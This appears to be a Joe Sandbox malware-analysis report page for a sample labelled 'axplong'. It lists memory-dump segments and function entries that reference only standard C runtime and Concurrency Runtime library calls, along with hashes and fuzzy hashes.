Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextInternalMarkOversubscribedProcProcessor::ResetRetirementstd::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 3897347962-3650809737
Opcode ID: 67fe871d504fbdef4b4d9bce18d5b7d70ef5c66f5c0ec614f382fe2659a708f1
Instruction ID: d08135af9c840cb7fb7c66d666d238cd39d7bf4c24397142892e095fd3b24bf6
Opcode Fuzzy Hash: 67fe871d504fbdef4b4d9bce18d5b7d70ef5c66f5c0ec614f382fe2659a708f1
Instruction Fuzzy Hash: 5D217374A04308AFCF54EFA5C4859ED7BBABF49310F104069E901AB351DB31AE81DF54

Function 006B7811 Relevance: 12.1, APIs: 8, Instructions: 106timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 006B7833

Part of subcall function 006B5BE8: __EH_prolog3_catch.LIBCMT ref: 006B5BEF
Part of subcall function 006B5BE8: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 006B5C28

Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 006B785A
Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 006B7866

Part of subcall function 006B5BE8: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 006B5CA0
Part of subcall function 006B5BE8: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 006B5CAE

Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 006B78B2
Concurrency::location::_Assign.LIBCMT ref: 006B78D3
Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 006B78DB
Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 006B78ED
Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 006B791D

Part of subcall function 006B684D: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 006B6872
Part of subcall function 006B684D: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 006B6895

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Scheduler$ContextThrottling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_ExerciseFoundH_prolog3_catchNextProcessor::RingSchedulingSpinStartupTicket::TimerUntilWith
String ID:
API String ID: 1475861073-0
Opcode ID: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction ID: 6128ee4fb9822de99eb7f709665ebdece8b1c8199136751956b62f4ebf035d11
Opcode Fuzzy Hash: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction Fuzzy Hash: F23106B0B082556BCF56BA7844567FEBBBB9F81304F0805A9E486D7342DB254DCAC391

Function 006C4770 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 006C47A7
___except_validate_context_record.LIBVCRUNTIME ref: 006C47AF
_ValidateLocalCookies.LIBCMT ref: 006C4838
__IsNonwritableInCurrentImage.LIBCMT ref: 006C4863
_ValidateLocalCookies.LIBCMT ref: 006C48B8

Strings

csm, xrefs: 006C484D

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 6fbba989c17221b2c15b4c0cf0874f504e6c344b16c61f74271efcdf46d353fa
Instruction ID: 85c31b1c5f08112373ed16ae5ec28c25e308c01829c2d18af255df9660c6eb51
Opcode Fuzzy Hash: 6fbba989c17221b2c15b4c0cf0874f504e6c344b16c61f74271efcdf46d353fa
Instruction Fuzzy Hash: 87418C30A01249ABCF10DF68C8A4FAEBBB6EF45314F14815DE8159B392DB71EA41CF90

Function 006BDC48 Relevance: 10.6, APIs: 7, Instructions: 117threadCOMMON

Download Yara Rule

APIs

Concurrency::details::UMS::CreateUmsCompletionList.LIBCONCRT ref: 006BDCC1
Concurrency::details::InternalContextBase::ExecutedAssociatedChore.LIBCONCRT ref: 006BDCDE
Concurrency::details::InternalContextBase::WorkWasFound.LIBCONCRT ref: 006BDD44
Concurrency::details::InternalContextBase::ExecuteChoreInline.LIBCMT ref: 006BDD59
Concurrency::details::InternalContextBase::WaitForWork.LIBCONCRT ref: 006BDD6B
Concurrency::details::InternalContextBase::CleanupDispatchedContextOnCancel.LIBCMT ref: 006BDD7B
Concurrency::details::UMS::GetCurrentUmsThread.LIBCONCRT ref: 006BDDA4

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Context$Base::Internal$ChoreWork$AssociatedCancelCleanupCompletionCreateCurrentDispatchedExecuteExecutedFoundInlineListThreadWait
String ID:
API String ID: 2885714658-0
Opcode ID: 9cac81d99635b0199431fb09febff136b79c5c7ae40e93c0afbace7c7426e3b6
Instruction ID: 2ea219920e7549610511fdfb5526b08a5a590729ee9cff6ad0dbb3bca75d1f31
Opcode Fuzzy Hash: 9cac81d99635b0199431fb09febff136b79c5c7ae40e93c0afbace7c7426e3b6
Instruction Fuzzy Hash: C141A0F0A002449ACF55FBA484567ED7B676F05300F1440ACE9866F3C3EB758E89CB69

Function 006BE6DF Relevance: 10.6, APIs: 7, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 006BE707

Part of subcall function 006BE474: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 006BE4A7
Part of subcall function 006BE474: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 006BE4C9

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 006BE784
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 006BE790
Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 006BE79F
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 006BE7A9
Concurrency::location::_Assign.LIBCMT ref: 006BE7DD
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 006BE7E5

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
String ID:
API String ID: 1924466884-0
Opcode ID: 87d4a69d66b930c865a05a2a78937122fc1a8a551ce397b87276fdb0d41bb46d
Instruction ID: 3354b5e407f12a99277df387b290dc56cf94d1ab0ee5fb3f2061f43c38f4c6b9
Opcode Fuzzy Hash: 87d4a69d66b930c865a05a2a78937122fc1a8a551ce397b87276fdb0d41bb46d
Instruction Fuzzy Hash: AD414BB5A002089FCF45EF64C495AEDB7B6FF48310F1580A9DD499B392DB30AA81CF91

Function 006A6C70 Relevance: 9.3, APIs: 6, Instructions: 336COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 006A6D41
std::_Rethrow_future_exception.LIBCPMT ref: 006A6D92
std::_Rethrow_future_exception.LIBCPMT ref: 006A6DA2
__Mtx_unlock.LIBCPMT ref: 006A6E45
__Mtx_unlock.LIBCPMT ref: 006A6F4B
__Mtx_unlock.LIBCPMT ref: 006A6F86

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
